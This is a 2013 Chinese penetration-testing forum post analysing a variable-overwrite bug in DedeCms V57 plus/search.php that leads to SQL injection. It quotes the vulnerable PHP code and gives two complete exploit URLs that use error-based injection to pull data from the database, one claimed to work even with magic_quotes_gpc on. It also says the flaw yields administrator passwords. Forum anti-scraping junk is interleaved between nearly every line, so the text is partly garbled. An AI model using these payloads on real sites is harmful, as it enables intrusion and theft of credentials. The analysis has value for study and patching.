中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
e! H8 i2 M+ f, I
作者:
c4rp3nt3r@0x50sec.org
; k" A# K, e9 n$ a, c+ B6 b
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
5 A6 M" }# O* m
; s: u1 v# F% S- a! J
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
: \+ X" J3 x( Q$ I! d
& ]) M2 b- H/ c; v
============
8 |# \; g$ U6 F
5 v* i# z A+ l* y5 @
. ^! J2 d: R: C% \- l
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
5 f% H0 Y1 n B! U6 [
9 u' ~, B; _# f1 ?% w
require_once(dirname(__FILE__).”/../include/common.inc.php”);
/ y6 [# y* i! m: t3 V
require_once(DEDEINC.”/arc.searchview.class.php”);
& J# Q" X" m' a+ V+ F
. e. G8 S, q" B7 c L1 T
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
5 G+ f/ g* i+ W
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
" Z5 Y0 r! r! g* Z1 p1 W
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
6 c) o( E9 ?# b
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
L0 J+ c; i h) ^
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
# H/ r1 k9 h1 f4 T2 q
5 @) N4 V0 j% `/ u6 U& ]
if(!isset($orderby)) $orderby=”;
& A; k3 }( s/ Y% B: [
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
5 g4 F5 x$ V1 t
9 U' _# L8 ?8 `* A: O: u
# r( }$ F5 ?! W
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
' g1 l: g3 Q8 R5 @
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
' r' m" b2 u5 E) a- c
6 h& X3 c* z. D# T. x
if(!isset($keyword)){
; k6 i z. X9 w8 s" U' ~- B0 K
if(!isset($q)) $q = ”;
% r# J7 t) e" n( z/ o5 K" [0 X
$keyword=$q;
3 F" c- L1 w' }
}
1 X5 ^, i" u/ @+ n: }4 p g; v. u% }
# g# {0 u# s5 U( l
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
6 s) H0 [( Z3 Y$ a
: N2 ~' s1 M& b$ l) \ c
//查找栏目信息
- F, f6 ]5 n( _% \3 `
if(empty($typeid))
! V8 A% O7 p7 V: _3 [. q! ?* g
{
$ m8 z+ A, l0 @. N) G# d
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
2 Y/ X6 \/ g) b
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
9 x) _( |6 D5 f+ A; k" m
{
( \& V1 c; d3 E$ U- r3 D+ ]
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
# x& E, y/ V* y! m
fwrite($fp, “<”.”?php\r\n”);
" U! e# c) }) R0 r: m% _$ i# k
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
$ M1 O. J- c, N8 w8 Y
$dsql->Execute();
, f. {) ]' U9 X/ Z) c; K2 y
while($row = $dsql->GetArray())
* C9 f1 p/ Z6 B6 ?0 {( K2 ~
{
! t. Y$ S0 J2 Q" j- H
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
6 a% `5 E# ] }# d1 [* _
}
9 C9 Z; N: k* S
fwrite($fp, ‘?’.'>’);
6 `, H+ V' B1 Q" g6 c
fclose($fp);
O9 [; X5 r* [8 ^% L
}
6 P4 X/ c* r' D9 \) }
//引入栏目缓存并看关键字是否有相关栏目内容
$ R: S: R- s- Q& y* B) X2 ]
require_once($typenameCacheFile);
2 b+ W; ^% p: C( F
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
; o% e9 z& ^( n) G1 [3 m9 O; G- V
//
0 O& G) ]" f! B0 |
if(isset($typeArr) && is_array($typeArr))
9 N6 [- S' t0 @5 \$ ^
{
% g5 o4 {$ q* i# T6 L! i! X* C9 M
foreach($typeArr as $id=>$typename)
H( |7 Q* P) ^! R6 Y5 n
{
# ]) s" v' B1 ^9 s
- u) ~ f, l- j' t. C$ z! Y4 b
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
4 ?! m. ]# z# z1 ]+ K
if($keyword != $keywordn)
4 P7 u# o, [. j+ N3 A% t
{
`/ A& x; ?! F1 n" w
$keyword = $keywordn;
; L4 h+ V- ~3 t/ L, C' [0 j6 s
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
/ o$ F/ \+ s* A( L: Y: ]
break;
+ c0 X& n- k' y; T3 E! r0 g' ?$ H8 u
}
8 h9 m1 k* B; L( F# s7 Y" H# G
}
- ~" \1 m( Y5 s, |7 j; q9 W
}
* o+ R, p- R: p4 v4 b4 O
}
0 l5 K% a6 t. b6 p
然后plus/search.php文件下面定义了一个 Search类的对象 .
" M; w+ i$ l! ^8 t3 K7 W
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
4 T9 g$ ~0 {1 @
$this->TypeLink = new TypeLink($typeid);
9 {7 A8 u8 a0 ^8 O" f' a
; F7 N7 L' D, S9 T U- D3 e4 G. T
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
& ?6 x3 M9 w: P0 g8 o, g
' L( \* x( ]9 N' b3 x
class TypeLink
* D+ z; k( x2 R5 _) m" s
{
: K* D B& _/ n3 |+ O
var $typeDir;
' L, m4 N5 R8 P H6 N0 v6 Y
var $dsql;
5 g1 k- @' [0 _3 K% p3 u
var $TypeID;
7 a& ~' l2 ~! Z; o( {, c
var $baseDir;
, T' K' z0 J% G/ L! a% T8 s% U8 C
var $modDir;
5 t* U8 E5 S7 f. t; L3 s- k
var $indexUrl;
! p* B9 M" q4 N0 q& j: ?; a1 \6 n
var $indexName;
, ]! ? D$ S8 ^0 W, M1 y
var $TypeInfos;
* P# e6 g3 n/ `' Q
var $SplitSymbol;
, l" y4 V9 F7 z' {' ^. F) I6 |( |
var $valuePosition;
0 u4 d X a! W4 M0 j+ {
var $valuePositionName;
: ~5 p0 S; F! }. P2 X6 g
var $OptionArrayList;//构造函数///////
6 m9 i5 Y8 j( ?1 v+ U% v
//php5构造函数
. ~0 H* D$ ~7 p+ S# t
function __construct($typeid)
4 \, b0 z, }" B/ x% }) l
{
4 N0 w% o/ Y; V
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
2 c2 H; T. I$ V* w
$this->indexName = $GLOBALS['cfg_indexname'];
7 x% V# X( n' K+ J: _2 S
$this->baseDir = $GLOBALS['cfg_basedir'];
# r! S# Y4 K( Y" v! R9 ]
$this->modDir = $GLOBALS['cfg_templets_dir'];
' q9 ^- C% }9 Q" H$ g1 y0 _9 O5 U
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
( z% c- F3 ]1 I* O$ @$ b2 K
$this->dsql = $GLOBALS['dsql'];
, ] D7 i7 ?5 e* ?; m; Y
$this->TypeID = $typeid;
! B4 b9 k/ `% D2 r
$this->valuePosition = ”;
4 Q5 U2 Q% r% v' q
$this->valuePositionName = ”;
: R' j7 j# _' L, d9 g. [2 ?: G
$this->typeDir = ”;
* l* t0 o( y l" j( r" b
$this->OptionArrayList = ”;
) h- Q5 v9 ]$ u/ L$ l
; y( S: W# B4 F. _1 X1 k! q2 t9 U
//载入类目信息
$ G3 \' B* I% l( \/ _- F
# G9 w& F% t, k2 P; z
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
1 Z1 z- [1 i& e+ G
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
1 D* [' `4 v* V- d; X2 W1 o
`#@__channeltype` ch
2 }. X) n( v# H0 A3 g* V
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
) X. v8 \* p8 s+ v
0 Z: A( M. {' q
if($typeid > 0)
' Y0 Q6 o, I" G* ?% V& T% b
{
; g) U E/ C! C/ m+ s$ K9 d$ C2 ~3 j
$this->TypeInfos = $this->dsql->GetOne($query);
; k! j: Q: f: B1 Q
利用代码一 需要 即使magic_quotes_gpc = Off
2 o& k6 ~0 V0 \+ W! d2 z" u
5 X; I5 E% B3 @ \: A/ u6 ?7 D2 N
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
9 S4 T( Z* C2 c4 k' c' m/ J
( s0 t* s3 W: Z3 ~" W" \0 ]& p# s
这只是其中一个利用代码… Search 类的构造函数再往下
8 I* w& _: K" Z
; n$ [3 M$ B, ~' H L
……省略
0 u7 Z& y' Z! z& h; P& u9 @
$this->TypeID = $typeid;
8 o+ S# q0 P( i3 a0 G
……省略
; A7 b+ L" n0 P+ \3 g0 Z
if($this->TypeID==”0″){
6 _9 o5 M- D: c3 Z: G# T
$this->ChannelTypeid=1;
- g* D4 X+ y3 ~" B/ {1 Z0 A
}else{
/ i. t$ H0 M1 p7 d# Q0 C
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
6 e$ J/ E( Z' ]% ^ F
//现在不鸡肋了吧亲…
1 w; x8 b$ f( q- {
$this->ChannelTypeid=$row['channeltype'];
; V. w, K7 n( ^% m
8 T0 ^% h+ X% |! y, o, ?$ J
}
7 ~! a" s4 e( `0 ]1 ^; ^0 E$ _4 d: ~" Z+ \
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
1 e! U5 C+ O$ a9 n* r' f
$ A% w* Z8 j4 N @& G
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
; w! A0 J0 P) {! q* Q3 a, c; F/ K
$ U% J, H! m: ]' }* Z# u% j% b
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
. O5 E; T; S2 K& Z1 o
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2